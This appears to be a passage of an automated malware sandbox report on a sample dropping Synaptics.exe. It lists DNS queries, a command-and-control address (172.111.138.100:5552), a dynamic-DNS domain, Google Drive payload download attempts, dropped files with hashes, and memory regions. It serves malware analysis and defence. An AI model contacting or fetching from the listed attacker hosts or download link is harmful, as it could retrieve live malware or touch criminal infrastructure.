    GET http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQDkqhDvrMuENxBpWocUnIUC

    HTTP Response

    200
  • 142.250.74.225:443
    https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
    tls, http
    Synaptics.exe
    2.0kB
    14.5kB
    14
    21

    HTTP Request

    GET https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

    HTTP Response

    404

    HTTP Request

    GET https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

    HTTP Response

    404

    HTTP Request

    GET https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

    HTTP Response

    404
  • 172.111.138.100:5552
    ._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
    152 B
    3
  • 95.100.245.144:80
    http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl
    http
    393 B
    1.7kB
    4
    4

    HTTP Request

    GET http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl

    HTTP Response

    200
  • 88.221.134.83:80
    http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
    http
    399 B
    1.7kB
    4
    4

    HTTP Request

    GET http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl

    HTTP Response

    200
  • 172.111.138.100:5552
    ._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
    152 B
    3
  • 172.111.138.100:5552
    ._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
    152 B
    3
  • 8.8.8.8:53
    xred.mooo.com
    dns
    Synaptics.exe
    59 B
    118 B
    1
    1

    DNS Request

    xred.mooo.com

  • 8.8.8.8:53
    freedns.afraid.org
    dns
    Synaptics.exe
    64 B
    80 B
    1
    1

    DNS Request

    freedns.afraid.org

    DNS Response

    69.42.215.252

  • 8.8.8.8:53
    docs.google.com
    dns
    Synaptics.exe
    61 B
    77 B
    1
    1

    DNS Request

    docs.google.com

    DNS Response

    216.58.214.174

  • 8.8.8.8:53
    c.pki.goog
    dns
    Synaptics.exe
    56 B
    107 B
    1
    1

    DNS Request

    c.pki.goog

    DNS Response

    142.250.179.67

  • 8.8.8.8:53
    o.pki.goog
    dns
    Synaptics.exe
    56 B
    107 B
    1
    1

    DNS Request

    o.pki.goog

    DNS Response

    142.250.179.67

  • 8.8.8.8:53
    drive.usercontent.google.com
    dns
    Synaptics.exe
    74 B
    90 B
    1
    1

    DNS Request

    drive.usercontent.google.com

    DNS Response

    142.250.74.225

  • 8.8.8.8:53
    www.microsoft.com
    dns
    63 B
    230 B
    1
    1

    DNS Request

    www.microsoft.com

    DNS Response

    95.100.245.144

  • 8.8.8.8:53
    crl.microsoft.com
    dns
    63 B
    162 B
    1
    1

    DNS Request

    crl.microsoft.com

    DNS Response

    88.221.134.83
    88.221.134.146

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\Synaptics\Synaptics.exe

    Filesize

    1.6MB

    MD5

    27bcc0d927e9f13250b1dff9e122e9af

    SHA1

    2f9f09f46fe7ee2a495247292b3f2be0777c2873

    SHA256

    71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1

    SHA512

    1bdf5d3ba61b8d99955b92b87377fcbea08db248aae1089a9028a0613eb06c43e330bd781edf66ec955b1042c811094207b8962e391b37fc516a4b93664c7653

  • C:\Users\Admin\AppData\Local\Temp\36sENylN.xlsm

    Filesize

    17KB

    MD5

    e566fc53051035e1e6fd0ed1823de0f9

    SHA1

    00bc96c48b98676ecd67e81a6f1d7754e4156044

    SHA256

    8e574b4ae6502230c0829e2319a6c146aebd51b7008bf5bbfb731424d7952c15

    SHA512

    a12f56ff30ea35381c2b8f8af2446cf1daa21ee872e98cad4b863db060acd4c33c5760918c277dadb7a490cb4ca2f925d59c70dc5171e16601a11bc4a6542b04

  • C:\Users\Admin\AppData\Local\Temp\36sENylN.xlsm

    Filesize

    21KB

    MD5

    89881af0e37940e7e3eacabc5662446a

    SHA1

    4b29c5e2c5c332e3732eff5d633a5bf075aa124b

    SHA256

    df995f102d99266843836e1a559dcb69e808804c887b8862a7cd797a84fa0e5c

    SHA512

    7daf492500bfa0c6555c4bb612b17e9d33c9ca5b6253bc765b70b52f9aa1c92d22a88da5ac3a54aa8102a955b422d9431985e9a8f8db7abca0f48bf0128ef93a

  • C:\Users\Admin\AppData\Local\Temp\36sENylN.xlsm

    Filesize

    23KB

    MD5

    3fa206d6d71483c5e2e2d0bc116754da

    SHA1

    acc7080ab932c25c85323153b6048fe04253171f

    SHA256

    ed87ac925bf1fd6e4d7c90603e30fb8bce12923111d2548e62e3b31d1c0c8e57

    SHA512

    4c6a4160b39b86088ebbaf15da9e302e3eebeac6c4f39f0b91dab19d0a2219ad107895821dca11055452754416152f03a7e9603348c52b0761392cf248567f97

  • C:\Users\Admin\AppData\Local\Temp\36sENylN.xlsm

    Filesize

    22KB

    MD5

    98ca2edb24cf9732c8d4e2e61efc2767

    SHA1

    bb688133039387c6782008739b6436cfc9403256

    SHA256

    5dc46e0506f898716d26c317f1752687b8307d369350d03e0011c255b986900a

    SHA512

    8bded5dc4e743ef39d0d8380767ed97990275ac48923cd8a2541c637501cb96184dc796a82078f2800fc69939d9d9300b368ecaedb96f8eaaa9266a35e3c0acf

  • C:\Users\Admin\AppData\Local\Temp\36sENylN.xlsm

    Filesize

    22KB

    MD5

    4fed354895f30d84701c4de8c18ebca6

    SHA1

    3a5751f6ef8b9a25d12c99e1a437fd3c2b19e0f9

    SHA256

    f916c146c34f8abee2c7c7279d96898db5feede41ed5dae66fa3be6bbaa16058

    SHA512

    c07f787f70922ba4df6c0a451783b3b1830869f63c73d7ca5a2b37bd2ed564ccf57684e1afd9f3e5fc7311f22efba5db999409163fdca49e7b677eae5c5582a9

  • C:\Users\Admin\AppData\Local\Temp\MHDFGY.vbs

    Filesize

    964B

    MD5

    d24e332b790bae46b2ce6cfe94a87f23

    SHA1

    1ac976f41b7d37aec4d95eb439bc8fadee11b1cf

    SHA256

    026bee439844067dcfb04c9cb9c5e20398b67e2225d0b857d66f0c85b7eff11d

    SHA512

    4aefd45dad7df7ae105ffc152f216187c7bd3923b508472ca587c79a98459e90dc4150ae9703afad766f6bde9082b272619f9758e8f464eeadad07e828db4552

  • C:\Users\Admin\Downloads\~$UseUninstall.xlsx

    Filesize

    165B

    MD5

    ff09371174f7c701e75f357a187c06e8

    SHA1

    57f9a638fd652922d7eb23236c80055a91724503

    SHA256

    e4ba04959837c27019a2349015543802439e152ddc4baf4e8c7b9d2b483362a8

    SHA512

    e4d01e5908e9f80b7732473ec6807bb7faa5425e3154d5642350f44d7220af3cffd277e0b67bcf03f1433ac26a26edb3ddd3707715b61d054b979fbb4b453882

  • \Users\Admin\AppData\Local\Temp\._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe

    Filesize

    893KB

    MD5

    541fc19be6471027afb1dd324e4a8a80

    SHA1

    ed39e0a9aa016595f1ead34c221ce0b878e7cf64

    SHA256

    0a438a59e23472911fd3e08a50f58cad8008d01733a1159bb20b06b20b21aac0

    SHA512

    da7965709aded6570c282e02536e2fcdf51e6a42ced919adf75be4fb694017bcd332c229db4b07684265b471df6d2001d62a1c5327cd93f35520ff4fad83e086

  • memory/2136-0-0x0000000000220000-0x0000000000221000-memory.dmp

    Filesize

    4KB

  • memory/2136-16-0x0000000004380000-0x000000000456E000-memory.dmp

    Filesize

    1.9MB

  • memory/2136-29-0x0000000000400000-0x00000000005A2000-memory.dmp

    Filesize

    1.6MB

  • memory/2384-140-0x0000000000840000-0x0000000000A2E000-memory.dmp

    Filesize

    1.9MB

  • memory/2384-18-0x0000000000840000-0x0000000000A2E000-memory.dmp

    Filesize

    1.9MB

  • memory/2384-48-0x0000000000250000-0x0000000000260000-memory.dmp

    Filesize

    64KB

  • memory/2384-194-0x0000000000840000-0x0000000000A2E000-memory.dmp

    Filesize

    1.9MB

  • memory/2384-184-0x0000000000840000-0x0000000000A2E000-memory.dmp

    Filesize

    1.9MB

  • memory/2384-180-0x0000000000840000-0x0000000000A2E000-memory.dmp

    Filesize

    1.9MB

  • memory/2384-131-0x0000000000840000-0x0000000000A2E000-memory.dmp

    Filesize

    1.9MB

  • memory/2384-178-0x0000000000840000-0x0000000000A2E000-memory.dmp

    Filesize

    1.9MB

  • memory/2384-133-0x0000000000840000-0x0000000000A2E000-memory.dmp

    Filesize

    1.9MB

  • memory/2384-135-0x0000000000250000-0x0000000000260000-memory.dmp

    Filesize

    64KB

  • memory/2528-145-0x00000000001E0000-0x00000000003CE000-memory.dmp

    Filesize

    1.9MB

  • memory/2528-144-0x00000000001E0000-0x00000000003CE000-memory.dmp

    Filesize

    1.9MB

  • memory/2720-137-0x0000000000400000-0x00000000005A2000-memory.dmp

    Filesize

    1.6MB

  • memory/2720-134-0x0000000000400000-0x00000000005A2000-memory.dmp

    Filesize

    1.6MB

  • memory/2720-132-0x0000000004370000-0x000000000455E000-memory.dmp

    Filesize

    1.9MB

  • memory/2720-179-0x0000000000400000-0x00000000005A2000-memory.dmp

    Filesize

    1.6MB

  • memory/2720-39-0x0000000004370000-0x000000000455E000-memory.dmp

    Filesize

    1.9MB

  • memory/2768-49-0x0000000000C90000-0x0000000000E7E000-memory.dmp

    Filesize

    1.9MB

  • memory/2768-41-0x0000000000C90000-0x0000000000E7E000-memory.dmp

    Filesize

    1.9MB

  • memory/2788-43-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2940-187-0x0000000000E40000-0x000000000102E000-memory.dmp

    Filesize

    1.9MB

  • memory/2940-189-0x0000000000E40000-0x000000000102E000-memory.dmp

    Filesize

    1.9MB

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.